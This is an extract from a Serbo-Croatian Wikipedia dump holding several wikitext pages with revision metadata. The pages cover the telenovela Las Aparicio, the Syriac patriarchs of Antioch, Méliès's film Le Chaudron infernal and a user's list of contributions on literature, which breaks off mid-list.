[http://findingaids.library.northwestern.edu/catalog/inu-ead-nua-archon-167 Harold S. Hulbert Papers] {{Webarchive|url=https://web.archive.org/web/20160330152505/http://findingaids.library.northwestern.edu/catalog/inu-ead-nua-archon-167 |date=2016-03-30 }} from Northwestern University Archives, Evanston, Illinois * [http://www.archive.org/details/loebleopoldcasew00loeb ''The Loeb-Leopold case : with excerpts from the evidence of the alienists and including the arguments to the court by counsel for the people and the defense (1926)''] stored on Archive.org {{Normativna kontrola}} {{Izabran}} [[Kategorija:Rođeni 1904.]] [[Kategorija:Rođeni 1905.]] [[Kategorija:Umrli 1971.]] [[Kategorija:Umrli 1936.]] [[Kategorija:Američki kriminalci]] [[Kategorija:Ubice]] [[Kategorija:Američki Jevreji]] [[Kategorija:Biografije, Chicago]] tonsvyqsm3xhvy4xyxmrmeuec6ll7ru 0 190447 42602627 42240001 2026-05-27T23:41:19Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602627 wikitext text/x-wiki {{Infokutija TV |naziv_emisije= Las Aparicio |format = [[telenovela]] |nastupaju = [[Gabriela de la Garza]]<br />[[Ximena Rubio]]<br />[[Liz Gallardo]]<br />[[María del Carmen Farías]] |zemlja = {{flagcountry|MEX}} |jezik = [[španski jezik|španski]] |br_epizoda = 120 |producent = [[Epigmenio Ibarra]]<br />[[Carlos Payán (producent)|Carlos Payán]] |režija = [[Moisés Ortiz Urquidi]]<br />[[Rodrigo Curiel]] |scenario = [[Leticia López Margalli]]<br />[[Verónica Bellver]] |kanal = [[Cadena Tres]]. |početak = [[19. 4.|19. april]] [[2010]] |kraj = [[15. 10.|15. oktobar]] [[2010]] |slijedi = ''[[El sexo débil]]'' }} '''''Las Aparicio''''' je [[Meksiko|meksička]] [[telenovela]] snimana [[2010]].<ref>{{Cite web |url=http://msnlatino.telemundo.com/shows/Programas/article/content/Telemundo_Internacional_Programas-2010/Article/behindeverywomen |title=''Las Aparicio'' na Telemundovom sajtu |access-date=2012-12-05 |archive-date=2010-07-02 |archive-url=https://web.archive.org/web/20100702062152/http://msnlatino.telemundo.com/shows/Programas/article/content/Telemundo_Internacional_Programas-2010/Article/behindeverywomen |url-status=dead }}</ref><ref>[http://www.rollingstone.com.mx/noticias/las-aparicio-nueva-serie-de-cadena-tres/ Nova meksička serija Kadene Tres]</ref> Iste godine je snimljen njen nastavak pod nazivom ''[[El sexo débil]]''. U [[Srbija|Srbiji]] je emitovana [[2012]]. na [[TV Avala|televiziji Avala]] pod naslovom '''''Udovice'''''.<ref>{{Cite web |title=''Udovice'' na televiziji Avala |url=http://port.rs/udovice_las_aparicio/pls/fi/films.film_page?i_perf_id=601688002&i_topic_id=1 |access-date=2012-12-05 |archive-date=2015-09-15 |archive-url=https://web.archive.org/web/20150915070720/http://port.rs/udovice_las_aparicio/pls/fi/films.film_page?i_perf_id=601688002&i_topic_id=1 }}</ref> == Sinopsis == Ovo je priča o tri generacije žena koje povezuje čudna porodična tradicija. Sve su ostale udovice pod nerazjašnjenim okolnostima. Sve rađaju isključivo devojčice. Ovaj fenomen ne može se objasniti ni najbesprekornijom logikom. Niko ne uspeva da shvati je li u pitanju prokletstvo, zla kob ili nešto drugo. Aparisiove nisu došle na ovaj svet da bi patile - one su savremene i urbane žene, odlučne da same vladaju svojim životom. Smrt muževa navela ih je da shvate da im muškarci nisu potrebni kako bi preživele - sada ih imaju jer tako žele, iz čiste požude. Glava porodičnog klana je Rafaela Aparisio, koja je, nakon što je sahranila trojicu muževa koji su umrli u čudnim nesrećama, odgajila svoje tri kćeri - Almu, Mersedes i Huliju, i vaspitala ih u ratničkom duhu, da bi znale da se bore za sebe, baš kao i ona sama. Alma je udovica poslovnog čoveka. Ubijen je pod nerazjašnjenim okolnostima. Ona je morala da počne od nule kako bi postala to što je sada - vlasnica agencije, koja uspešnim damama diskretno preporučuje mušku pratnju. Mersedes je ratoborna advokatica, majka devojčice i udovica uspešnog advokata koji je umro od infartka u naručju druge žene. Preuzela je komandu nad firmom pokojnog supruga, gde se konstantno bori sa njegovim poslovnim partnerom i svojim ljubavnikom - oženjenim lekarom. Hulija je mlada glumica koja ne želi da se udaje iz očitih razloga. Ipak, naći će se rastrzana između nevernog muškarca i jake privlačnosti koju oseća prema svojoj najboljoj prijateljici, deklarisanoj lezbejki. == Uloge == {| border="2" cellpadding="4" cellspacing="0" style="margin:1em 1em 1em 0; background:#f9f9f9; border:1px #aaa solid; border-collapse:collapse; font-size:95%" |- ! Glumac: || Uloga: |- |Gabrijela de la Garza||Alma Aparisio |- |Himena Rubio||Mersedes Aparisio |- |Lis Galjardo||Hulija Aparisio |- |Marija del Karmen Farijas||Rafaela Aparisio |- |Platarko Hasa||Leonardo Viljegas |- |Eduardo Viktorija||Klaudio |- |Marko Trevinjo||Maksimo |- |Erik Hajaser||Alehandro Lopez Kano |- |Lurdes Viljareal||Aurelija |- |Erendira Ibara||Marijana |- |Aurora Hil||Mara |- |Silvija Karusiljo||Isabel |- |Paulina Gajtan||Ljeana |- |Eva Sofija Ernandes||Isadora |- |Alehandra de la Mora||Karla |- |Tanja Anheles||Dani |- |Nestor Rodolfo||Tomas |- |Mario Perez de Alba||Armando |- |Roman Valter||Horhe |- |Johana Muriljo||Vivijana |- |Damijan Alkazar||Ernan |- |Raul Mendes||Manuel |- |Marijanela Katanjo||Lusija |- |Oskar Olivares||Migel |} == Napomene i reference == {{izvori}} {{TVSvijek|2010|2010}} {{Normativna kontrola}} [[Kategorija:Meksičke telenovele]] pojymnkmsjtp03nzduy5qgmehhxcn0o 0 201128 42602678 42134624 2026-05-28T05:34:18Z InternetArchiveBot 155863 Rescuing 2 sources and tagging 1 as dead.) #IABot (v2.0.9.5 42602678 wikitext text/x-wiki '''Sirijski patrijarh Antiohije''' je bio poglavar ''Sirijske crkve'' koja se danas razdvojena na [[Sirijska pravoslavna crkva|Sirijsku pravoslavnu crkvu]] i [[Sirijska katolička crkva|Sirijsku katoličku crkvu]]. Slijedi popis [[primas]]a koji su Crvu vodili od 512. (kada je [[monofizitstvo|monofizitska]] Sirijska crkva nastala [[šizma|šizmom]] od [[bizant]]ske ([[Melkiti|melkitske]]) [[pravoslavlje|pravoslavne]] crkve, pa sve do šizme godine 1783. == Sirijski patrijarsi Antiohije prije 512. == * {{For|patrijarhe Antiohije prije 512. godine|Popis patrijarha Antiohije}} == Sirijski patrijarsi Antiohije od 512. do 1783. godine == * [[Sever od Antiohije|Sever]] (512–538) :(Sever je bio smijenjen 518. i prognan u [[Egipat]], ali su ga mnogi sirijski kršćani priznavali kao zakonitog patrijarha sve do smrti 538. godine) * [[Sergije od Telle]] (544–546), posvetio kao [[Jakov Baradej]]<ref name=cnewa>{{cite web|last=La Civita|first=Mihailo J.L.|title=Profiles of the Eastern churches: The Syriac Orthodox Church|url=http://www.cnewa.org/default.aspx?ID=3268&pagetypeID=4&sitecode=US&pageno=1|work=www.cnewa.org|publisher=Catholic Near East Welfare Association|accessdate=9 April 2011}}{{Dead link|date=May 2026 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> ** ''sedisvakancije'' (546–550) * [[Pavle Crni od Aleksandrije|Pavle II]] (550–575), svrgnut 575. nakon što se priključio [[halkedonsko kršćanstvo|halkedoncima]] ** ''sedisvakancija'' (575–581; iako koptski [[Synaxarium]] spominje izvjesnog Teofanija koji je u to vrijeme bio imenovan za patrirarha)<ref>[http://www.suscopts.org/readings/2010/jun/25/ Lectionary readings for 25 June 2010] {{Webarchive|url=https://web.archive.org/web/20120318164938/http://www.suscopts.org/readings/2010/jun/25/ |date=2012-03-18 }} (scroll down to Synaxarium reading "Departure of Pope Damian 1") and [http://www.suscopts.org/readings/2010/jul/02/ Lectionary readings for 02 July 2010] {{Webarchive|url=https://web.archive.org/web/20120318164944/http://www.suscopts.org/readings/2010/jul/02/ |date=2012-03-18 }} (scroll down to Synaxarium reading "Departure of Pope Peter IV". pristup 20. VII 2010.</ref> * [[Petar od Kalinika|Petar III]] (581–591) * [[Patrijarh Julijan od Antiohije|Julijan I]] (591–595) * [[Atanasije I Gammolo]] (595–631) * [[Jovan od Sedrea|Jovan II]] (631–648) * [[Patrijarh Teodor od Antiohije|Teodor]] (649–667) * [[Sever II bar Mashqe]] (667–681) * [[Atanasije II, patrijarh Antuohije|Atanasije II]] (683–686) * [[Patrijarh Julijan II od Antiohije|Julijan II]] (686–708) * [[Patrijarh Ilija od Antiohije|Ilija I]] (709–723) * [[Atanasije III]] (724–740) * [[Iwanis I]] (740–754) ** nakon smrti Iwanisa, kalifi su imenovali dva patrijarha: * [[Euwanis I]] (754–?) * [[Atanasije Sandalaya]] (756–758) * [[Patrijarh Đorđe od Antiohije|Đorđe I]] (758–790) * [[Patrijarh Josif od Antiohije|Josif]] (790–792) * [[Quriaqos of Tagrita]] (793–817) * [[Dionsije od Tel Mahrea|Dionisije I od Tel Mahrea]] (817–845) * [[Patrijarh Jovan III od Antiohije|Jovan III]] (846–873) * [[Patrijarh Ignjatije II od Antiohije|Ignjatije II]] (878–883) * [[Teodosije Roman od Takrita]] (887–896) * [[Patrijarh Dionsije II od Antiohije|Dionisije II]] (897–909) * [[Jovan IV Qurzahli]] (910–922) * [[Patrijarh Baselije od Antiohije|Baselije I]] (923–935) * [[Patrijarh Jovan V od Antiohije|Jovan V]] (936–953) * [[Patrijarh Iwanis II od Antiohije|Iwanis II]] (954–957) * [[Patrijarh Dionsije III od Antiohije|Dionsije III]] (958–961) * [[Patrijarh Abraham od Antiohije|Abraham I]] (962–963) * [[Jovan VI Sarigta]] (965–985) * [[Atanasije IV of Salah]] (986–1002) * [[Jovan VII bar Abdun]] (1004–1033) * [[Dionsije IV Yahya]] (1034–1044) ** ''sedisvakancije'' (1044–1049) * [[Patrijarh Jovan VIII od Antiohije|Jovan VIII]] (1049–1057) * [[Patrijarh Atanasije V od Antiohije|Atanasije V]] (1058–1063) * [[Jovan IX bar Shushan]] (1063–1073) * [[Patrijarh Baselije II od Antiohije|Baselije II]] (1074–1075) * [[Jovan Abdun]] (1075–1077) :Jovan je smijen, ali se patrijarhom smatrao sve do 1091. * [[Dionisije V Lazaros]] (1077–1078) * [[Patrijarh Iwanis III od Antiohije|Iwanis III]] (1080–1082) * ''vacant'' (1082–1088) * [[Patrijarh Dionisije VI od Antiohije|Dionisije VI]] (1088–1090) * [[Atanasije VI bar Khamoro]] (1091–1129) * [[Jovan X bar Mawdyono]] (1129–1137) * [[Atanasije VII bar Qutreh]] (1138–1166) * [[Mihailo Sirijac|Mihailo Veliki]] (1166–1199) * [[Patrijarh Atanasije VIII od Antiohije|Atanasije VIII]] (1200–1207) * [[Patrijarh Jovan XI od Antiohije|Jovan XI]] (1208–1220) ** ''sedisvakancija'' (1220–1222) * [[Ignjatije III David]] (1222–1252) * [[Jovan XII bar Madani]] (1252–1263) * [[Ignjatije IV Yeshu]] (1264–1282) * [[Filoksen I Nemrud]] (1283–1292) * [[Patrijarh Mihailo II od Antiohije|Mihailo II]] (1292–1312) * [[Mihailo III Yeshu]] (1312–1349) * [[Baselije III Gavrilo]] (1349–1387) * [[Filoksen Pisac|Filoksen II]] (1387–1421) * [[Baselije IV Shemun]] (1421–1444) * [[Ignjatije Behnam alHadli]] (1445–1454) * [[Ignjatije Khalaf]] (1455–1483) * [[Ignjatije Jovan XIV]] (1483–1493) * [[Ignjatije Nuh od Libana]] (1493–1509) * [[Ignjatije Yeshu I]] (1509–1512) * [[Ignjatije Jacob I]] (1512–1517) * [[Ignjatije David I]] (1517–1520) * [[Ignjatije AbdAllah I]] (1520–1557) * [[Ignjatije Nemet Allah I]] (1557–1576) * [[Ignjatije David II Shah]] (1576–1591) * [[Ignjatije Pilat I]] (1591–1597) * [[Ignjatije Hadayat Allah]] (1597–1639) * [[Ignjatije Simon I]] (1640–1659) * [[Ignjatije Yeshu II Qamsheh]] (1659–1662) * [[Ignjatije Abdul Masih I]] (1662–1686) * [[Ignjatije George II]] (1687–1708) * [[Ignjatije Isaac Azar]] (1709–1722) * [[Ignjatije Shukr Allah II]] (1722–1745) * [[Ignjatije Đorđe III]] (1745–1768) * [[Ignjatije Đorđe IV]] (1768–1781) == Sirijski patrijarsi Antiohije nakon 1783. godine == Kada je 22. januara 1783. ustoličen [[Ignjatije Mihailo III Jarweh]], Sirijska crkva se raskolila na tradicionalni (pravoslavni) i katolički dio: * {{For|sirijske pravoslavne patrijarhe Antiohije poslije 1783. godine|Popis sirijskih pravoslavnih patrijarha Antiohije}} * {{For|sirijske pravoslavne patrijarhe Antiohije prije1783. godine|Popis sirijskih katoličkih patrijarha Antiohije}} == Patrijarsi Tur Abdina (1364&ndash;1816) == Od 1364. do 1816. je oblast [[Tur Abdin]] činila zasebnu patrijaršiju, na čijem čelu su bili sljedeći patrijarsi:<ref>{{cite book | last = Fiey | first = J. | title = Pour Un Oriens Christianus Novus: Repertoire Des Dioceses Syriaques Orientaux Et Occidentaux | publisher = Steiner | location = Beirut| year = 1993 | isbn = 3-515-05718-8 |pages=275–277 }}</ref> * Ignjatije Saba od Salaha (1364–1389) * Ignjatije Isho' od Midhyata (1389–1418), died 1421 * Ignjatije Mas'ud od Salaha (1418–1420) * Ignjatije Henoch od 'Ayn Warda (1421–1444) * Ignjatije Qoma od Ba Sabrine (1444–1454) * Ignjatije Isho' od Salaha (1455–1460) * Ignjatije 'Aziz (Filoksen) od Basile (1460–1482) * Ignjatije Saba od Arboa (1482–1488) * Ignjatije Jovan Qofer od 'Ayn Warda (1489–1492) * Ignjatije Mas'ud od Zaza (1492–1512) * Ignjatije Isho' od Zaza (1515–1524) * Ignjatije Simon od Hattakha (1524–1551) * Ignjatije Jacob od Hisna (1551–1571) * Ignjatije Sahdo od Midhyata (1584–1621) * Ignjatije 'Abd Allah od Midhyata (1628–?) * Ignjatije Habib od Midhyata (1674–1707) * Ignjatije Denha od 'Arnasa (1707–1725) * Ignjatije Barsum od Midhyata (1740–1791) * Ignjatije Aho od Arboa (1791–?) * Ignjatije Isaiah od Arboa (?–1816) == Povezano == * [[Grčki patrijarh Antiohije]] * [[Katolikos Istoka]] * [[Popis katolikosa Istoka]] == Napomene == {{reflist}} == Vanjske veze == * [http://www.wikisyr.com/pmwiki.php?n=Menu.PatriarchesAntiocheMonophysites Patriarches monophysites d'Antioche depuis 468] {{Webarchive|url=https://web.archive.org/web/20120220141024/http://www.wikisyr.com/pmwiki.php?n=Menu.PatriarchesAntiocheMonophysites |date=2012-02-20 }} - sur '''[http://www.wikisyr.com wikisyr.com] {{Webarchive|url=https://web.archive.org/web/20090411183545/http://www.wikisyr.com/ |date=2009-04-11 }}''' * [http://www.wikisyr.com/pmwiki.php?n=Menu.PatriarcatSyriens-orthodoxes Patriarches syriens orthodoxes depuis 1622] {{Webarchive|url=https://web.archive.org/web/20090905085952/http://www.wikisyr.com/pmwiki.php?n=Menu.PatriarcatSyriens-orthodoxes |date=2009-09-05 }} - sur '''[http://www.wikisyr.com wikisyr.com] {{Webarchive|url=https://web.archive.org/web/20090411183545/http://www.wikisyr.com/ |date=2009-04-11 }}''' * [http://sor.cua.edu/Patriarchate/PatriarchsChronList.html Chronological List of the Patriarchs of Antioch] * [http://www.yauno.com/modules.php?name=News&file=article&sid=237 Complete List of Patriarchs of Antioch (German)] {{Webarchive|url=https://web.archive.org/web/20050326133816/http://www.yauno.com/modules.php?name=News&file=article&sid=237 |date=2005-03-26 }} [[Kategorija:Patrijarsi Antiohije|#]] [[Kategorija:Sirijska pravoslavna crkva]] [[Kategorija:Religijske liste]] [[Kategorija:Liste osoba]] oaeh42xc88kv5j3addjrjwvtmss7i3s 0 203934 42602632 41826722 2026-05-28T00:44:44Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602632 wikitext text/x-wiki {{Infokutija film |naslov=Le Chaudron infernal |tip=nijemi |režija=[[Georges Méliès|Georges Melies]] |trajanje=cca. 1 min. |zemlja={{flagcountry|FRA}} |jezik=[[nijemi film|nijemi]] |premijera={{Film date|1903}} }} '''''Le Chaudron infernal''''' ({{jez-sh|Pakleni kotao}}) je [[Francuska|francuski]] [[kratki film|kratki]] crno-bijeli [[nijemi film]] snimljen 1903. u režiji [[Georges Méliès|Georgesa Meliesa]]. Sastoji se od jedne scene smještene u [[Pakao]], te prikazuje kako demon nekoliko ljudi baca u [[kotao]], a potom s užitkom promatra njihove duše kako se muče u zraku prije nego što se pretvore u pepeo. ''Le Chaudron infernal'' se spominje kao jedan od filmova s kojim trguju protagonisti [[čehoslovačka|čehoslovačkog]] filma ''[[Sjajni muškarac s kamerama]]'' [[Jirzi Menzel|Jirzyja Menzela]] iz 1978. godine. == Vanjske veze == * [http://www.youtube.com/watch?v=VZoQBbqOtA4 Film complet] * {{imdb title|id=0135180}} * [http://filmsdefrance.com/FDF_Le_Chaudron_infernal_rev.html Prikaz] {{Webarchive|url=https://web.archive.org/web/20120722130735/http://filmsdefrance.com/FDF_Le_Chaudron_infernal_rev.html |date=2012-07-22 }} {{en icon}} {{Georges Melies}} {{Normativna kontrola}} {{DEFAULTSORT:Chaudron infernal, Le}} [[Kategorija:Francuski filmovi]] [[Kategorija:Nijemi filmovi]] [[Kategorija:Georges Méliès]] fs1elge84aapgf3ns2f9gllxv54vcgr 2 205351 42602549 42602148 2026-05-27T13:34:51Z Edgar Allan Poe 29250 /* Sportaši */ 42602549 wikitext text/x-wiki <center> <div style="font-family: Optima, Trebuchet MS, sans-serif"> <div style="background:white; border:thin solid blue; padding:;.1em; margin: 0em 1em 1em 1em"> <div style="border: thick solid #DDDDCC;thin solid yellow"> <div style="border: thin solid blue; padding-top:.6em"> {| style="font-family:Optima, Trebuchet MS, sans-serif;" | <center>[[File:Edgar Allan Poe 2.jpg|96px|link=Korisnik:Edgar Allan Poe]]</center> | <center>[[File:Denis Diderot by Louis-Michel van Loo.jpg|96px|link=Razgovor sa korisnikom:Edgar Allan Poe]]</center> | <center>[[File:Piet Mondrian and Pétro van Doesburg.jpg|x120px|link=Korisnik:Edgar Allan Poe/Doprinosi]]</center> | <center>[[File:Benedetto da maiano, incoronazione di ferdinando I d'aragona e sei musici, 1490 ca., 01.JPG|x120px|link=Korisnik:Edgar Allan Poe/Nagrade]]</center> |- | style="margin-top:-.5em" | <center>[[Korisnik:Edgar Allan Poe|Korisnička stranica]]</center> | <center>[[Razgovor sa korisnikom:Edgar Allan Poe|Razgovor]]</center> | <center>[[Korisnik:Edgar Allan Poe/Doprinosi|Doprinosi]]</center> | <center>[[Korisnik:Edgar Allan Poe/Nagrade|Nagrade]]</center> |- | colspan=7 | <hr> |- | colspan=7 style="padding:.3em; font-family:Helvetica, Arial, Verdana, sans-serif" | <center>'''Poruku mi možete ostaviti [https://sh.wikipedia.org/w/index.php?title=Razgovor_sa_korisnikom:Edgar_Allan_Poe&action=edit&section=new ovdje]'''</center> |} </div> </div> </div> </div> </center> Ovdje se nalazi '''popis članaka koje sam napisao ili nadopunio''' tokom svog rada na ovoj Wikipediji, poredan tematski. ==Književnost== {| style="border-spacing: 2px; border: 1px solid darkgray;" width="100%" |- ! style="border: 1px solid silver; background-color:#AAD0FF;" colspan="5" | '''Književnost''' |- style="text-align: center;" | style="border: 1px solid silver; background-color:#AAD0FF;" width="15%"| '''Općenito''' | style="font-size:smaller; text-align: left" colspan="4"| {{small|1.}} [[Ekspresionizam]] • {{small|2.}} [[Gotička fikcija]] • {{small|3.}} [[Humanizam]] • {{small|4.}} [[Klasicizam]] • {{small|5.}} [[Galgenhumor]] • {{small|6.}} ''[[Nouveau roman]]'' • {{small|7.}} [[Južnjačka gotika]] • {{small|8.}} [[Struja svijesti (književnost)|Struja svijesti]] • {{small|9.}} [[Izgubljeni grad (fikcija)]] • {{small|10.}} [[Čehovljev pištolj]] |- style="text-align: center;" | style="border: 1px solid silver; background-color:#AAD0FF;" width="15%"| '''Književne nagrade''' | style="font-size:smaller; text-align: left" colspan="4"| {{small|1.}} [[Nagrada Agatha]] • {{small|2.}} [[Datoteka:LinkFA-star.png|14px]] [[Nobelova nagrada za književnost]] • {{small|3.}} [[NIN-ova nagrada]] • {{small|4.}} [[Velika nagrada za teatar Francuske akademije]] |- ! style="border: 1px solid silver; background-color:#AAD0FF;" colspan="5" | '''Nacionalne književnosti''' |- style="text-align: center;" | style="border: 1px solid silver; background-color:#AAD0FF;" width="15%"| '''Općenito''' | style="font-size:smaller; text-align: left"colspan="4"| {{small|1.}} [[Kostarikanska književnost]] |- ! style="border: 1px solid #C8102E; background-color:white; color:#C8102E;" colspan="5" | {{flagicon|ENG}} '''Engleska književnost''' |- style="text-align: center;" | style="border: 1px solid #C8102E; background-color:white; color:#C8102E;" width="15%"| '''Autori''' | style="font-size:smaller; text-align: left" colspan="4"| {{small|1.}} [[Douglas Adams]] • {{small|2.}} [[Jane Austen]] • {{small|3.}} [[George Bellairs]] • {{small|4.}} [[Anne Brontë]] • {{small|5.}} [[Datoteka:LinkFA-star.png|14px]] [[Lewis Carroll]] • {{small|6.}} [[Geoffrey Chaucer]] • {{small|7.}} [[Gilbert Keith Chesterton]] • {{small|8.}} [[Agatha Christie]] • {{small|9.}} [[Daniel Defoe]] • {{small|10.}} [[Adrian Conan Doyle]] • {{small|11.}} [[Arthur Conan Doyle]] • {{small|12.}} [[Gervase od Tilburyja]] • {{small|13.}} [[John le Carré]] • {{small|14.}} [[Karoline Leach]] • {{small|15.}} [[Datoteka:LinkFA-star.png|14px]] [[Bertrand Russell]] • {{small|16.}} [[Edgar Wallace]] • {{small|17.}} [[Tom Stoppard]] |- style="text-align: center;" | style="border: 1px solid #C8102E; background-color:white; color:#C8102E;" colspan="5"| '''Djela''' |- | style="font-size:smaller; text-align: left" colspan="2" rowspan="2" | # ''[[Titus Andronicus]]'' # ''[[A Christmas Carol]]'' # ''[[Through the Looking-Glass]]'' ("[[The Walrus and the Carpenter]]" • "[[Haddocks' Eyes]]") # ''[[Euclid and his Modern Rivals]]'' # ''[[The Nursery "Alice"]]'' # [[:kategorija:Djela Agathe Christie|djela Agathe Christie]] ([[Datoteka:LinkFA-star.png|14px]] ''[[Ten Little Niggers]]'') # ''[[The Floating Admiral]]'' # ''[[Animal Farm]]'' # ''[[Our Story (knjiga)|Our Story]]'' # ''[[Born Fighter]]'' # ''[[My Story (Ronnie Kray)|My Story]]'' # ''[[In the Shadow of the Dreamchild]]'' # ''[[A Way of Life: Over Thirty Years of Blood, Sweat and Tears]]'' # ''[[The Constant Gardener]]'' | style="border: 1px solid #C8102E; background-color:white; color:#C8102E;" colspan="3"| '''Sherlock Holmes''' |- | style="font-size:smaller; text-align: left" colspan="3" | "[[How Watson Learned the Trick]]" • ''[[The Adventures of Sherlock Holmes]]'' ("[[A Scandal in Bohemia]]" • "[[The Adventure of the Red-Headed League|The Red-Headed League]]" • "[[The Man with the Twisted Lip]]" • "[[The Adventure of the Copper Beeches|The Copper Beeches]]" • "[[The Adventure of the Blue Carbuncle|The Blue Carbuncle]]" • "[[The Adventure of the Speckled Band|The Speckled Band]]" • "[[The Adventure of the Noble Bachelor|The Noble Bachelor]]" • "[[The Boscombe Valley Mystery]]" • "[[A Case of Identity]]" • "[[The Adventure of the Beryl Coronet|The Beryl Coronet]]" • "[[The Adventure of the Engineer's Thumb|The Engineer's Thumb]]" • "[[The Five Orange Pips]]") • ''[[The Memoirs of Sherlock Holmes]]'' ("[[Silver Blaze]]" • "[[The Adventure of the Cardboard Box|The Cardboard Box]]" • "[[The Adventure of the Yellow Face|The Yellow Face]]" • "[[The Adventure of the Stockbroker's Clerk|The Stockbroker's Clerk]]" • "[[The Adventure of the Gloria Scott|The ''Gloria Scott'']]" • "[[The Adventure of the Reigate Squire|The Reigate Squire]]" • "[[The Adventure of the Musgrave Ritual|The Musgrave Ritual]]" • "[[The Adventure of the Crooked Man|The Crooked Man]]" • "[[The Adventure of the Resident Patient|The Resident Patient]]" • "[[The Adventure of the Greek Interpreter|The Greek Interpreter]]" • "[[The Adventure of the Naval Treaty|The Naval Treaty]]" • "[[The Final Problem]]") • ''[[The Return of Sherlock Holmes]]'' ("[[The Adventure of the Empty House|The Empty House]]" • "[[The Adventure of the Norwood Builder|The Norwood Builder]]" • "[[The Adventure of the Dancing Men|The Dancing Men]]" • "[[The Adventure of the Solitary Cyclist|The Solitary Cyclist]]" • "[[The Adventure of the Priory School|The Priory School]]" • "[[The Adventure of Black Peter|Black Peter]]" • "[[The Adventure of Charles Augustus Milverton|Charles Augustus Milverton]]" • "[[The Adventure of the Six Napoleons|The Six Napoleons]]" • "[[The Adventure of the Three Students|The Three Students]]" • "[[The Adventure of the Golden Pince-Nez|The Golden Pince-Nez]]" • "[[The Adventure of the Missing Three-Quarter|The Missing Three-Quarter]]" • "[[The Adventure of the Abbey Grange|The Abbey Grange]]" • "[[The Adventure of the Second Stain|The Second Stain]]") • ''[[His Last Bow]]'' ("[[The Adventure of Wisteria Lodge|Wisteria Lodge]]" • "[[The Adventure of the Red Circle|The Red Circle]]" • "[[The Adventure of the Bruce-Partington Plans|The Bruce-Partington Plans]]" • "[[The Adventure of the Dying Detective|The Dying Detective]]" • "[[The Disappearance of Lady Frances Carfax|Lady Frances Carfax]]" • "[[The Adventure of the Devil's Foot|The Devil's Foot]]" • "[[His Last Bow (priča)|His Last Bow]]") • ''[[The Case-Book of Sherlock Holmes]]'' ("[[The Adventure of the Mazarin Stone|The Mazarin Stone]]" • "[[The Problem of Thor Bridge|Thor Bridge]]" • "[[The Adventure of the Creeping Man|The Creeping Man]]" • "[[The Adventure of the Sussex Vampire|The Sussex Vampire]]" • "[[The Adventure of the Three Garridebs|The Three Garridebs]]" • "[[The Adventure of the Illustrious Client|The Illustrious Client]]" • "[[The Adventure of the Three Gables|The Three Gables]]" • "[[The Adventure of the Blanched Soldier|The Blanched Soldier]]" • "[[The Adventure of the Lion's Mane|The Lion's Mane]]" • "[[The Adventure of the Retired Colourman|The Retired Colourman]]" • "[[The Adventure of the Veiled Lodger|The Veiled Lodger]]" • "[[The Adventure of Shoscombe Old Place|Shoscombe Old Place]]") • ''[[The Valley of Fear]]'' • ''[[A Study in Scarlet]]'' • ''[[The Sign of the Four]]'' • ''[[The Hound of the Baskervilles]]'' ---- {{small|1.}} ''[[The Exploits of Sherlock Holmes]]'' |- style="text-align: center;" | style="border: 1px solid #C8102E; background-color:white; color:#C8102E;" colspan="5"| '''Likovi i franšize''' |- style="text-align: center;" | style="border: 1px solid #C8102E; background-color:white; color:#C8102E;" width="20%"| '''Sherlock Holmes''' | style="border: 1px solid #C8102E; background-color:white; color:#C8102E;" width="20%"| '''Agatha Christie''' | style="border: 1px solid #C8102E; background-color:white; color:#C8102E;" width="20%"| '''''Harry Potter''''' | style="border: 1px solid #C8102E; background-color:white; color:#C8102E;" width="20%"| '''Carrollova ''Alice''''' | style="border: 1px solid #C8102E; background-color:white; color:#C8102E;" width="20%"| '''Ostalo''' |- style="font-size:smaller; text-align: left" | | # [[Datoteka:LinkFA-star.png|14px]] [[Sherlock Holmes]] # [[Dr. Watson]] # [[Sebastian Moran]] # [[Inspektor Lestrade]] # [[Mycroft Holmes]] # [[Profesor Moriarty]] # [[Irene Adler]] # [[Mary Morstan]] ---- # [[Klub Diogenes]] | # [[Hercule Poirot]] # [[Miss Marple]] # [[Tommy i Tuppence]] # [[Viši inspektor Japp]] # [[Arthur Hastings]] # [[Parker Pyne]] # [[Ariadne Oliver]] # [[Gospođica Lemon]] | # [[Sirius Black]] # [[Remus Lupin]] # [[Severus Snape]] # [[Armando Dippet]] # [[Gabrielle Delacour]] # [[Alastor Moody]] # [[Barty Crouch]] # [[Phineas Nigellus Black]] | # [[Jubjub]] # [[Bijeli Skakač (Through the Looking-Glass)|Bijeli Skakač]] # [[Ovca (Through the Looking-Glass)|Ovca]] # [[Crveni Kralj (Through the Looking-Glass)|Crveni Kralj]] # [[Grifon (Alice's Adventures in Wonderland)|Grifon]] # [[Alice (Alice's Adventures in Wonderland)|Alice]] # [[Ludi Šeširdžija]] # [[Gusjenica (Alice's Adventures in Wonderland)|Gusjenica]] | # [[James Bond (lik)]] |} ===Engleska književnost=== {{Navbox generic |titlestyle = color:red; background:white; border:1px solid #EF4135; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi s područja engleske književnosti |groupstyle = text-align:center; color:red; border:1px solid silver; |abovestyle=text-align:center; color:red;background:white; border:1px solid #EF4135; |belowstyle= text-align:center; color:red; background:white; border:1px solid #EF4135; |groupstyle = text-align:center; color:red; background:white; border:1px solid #EF4135; |above= |group1 = Pisci |list1= [[Gervase Tilburyski]] • [[Geoffrey Chaucer]] • [[Daniel Defoe]] • [[Jane Austen]] • [[Anne Brontë]] • [[Datoteka:LinkFA-star.png|14px]] [[Lewis Carroll]] • [[Arthur Conan Doyle]] • [[Gilbert Keith Chesterton]] • [[Edgar Wallace]] • [[Adrian Conan Doyle]] • [[Agatha Christie]] • [[Datoteka:LinkFA-star.png|14px]] [[Bertrand Russell]] • [[George Bellairs]] • [[Douglas Adams]] • [[John le Carré]] • [[Karoline Leach]] |group2 = Djela |list2= ''[[A Christmas Carol]] • [[Through the Looking-Glass]] ''("[[The Walrus and the Carpenter]]" • "[[Haddocks' Eyes]]")'' • [[Euclid and his Modern Rivals]] • [[The Nursery "Alice"]] • [[A Study in Scarlet]] • [[The Sign of the Four]] • [[The Hound of the Baskervilles]] • [[The Floating Admiral]] • ''[[:kategorija:Djela Agathe Christie|Djela Agathe Christie]] ([[Datoteka:LinkFA-star.png|14px]] ''[[Ten Little Niggers]]'')'' • [[Animal Farm]] • [[The Exploits of Sherlock Holmes]] • [[Our Story (knjiga)|Our Story]] • [[Born Fighter]] • [[A Way of Life: Over Thirty Years of 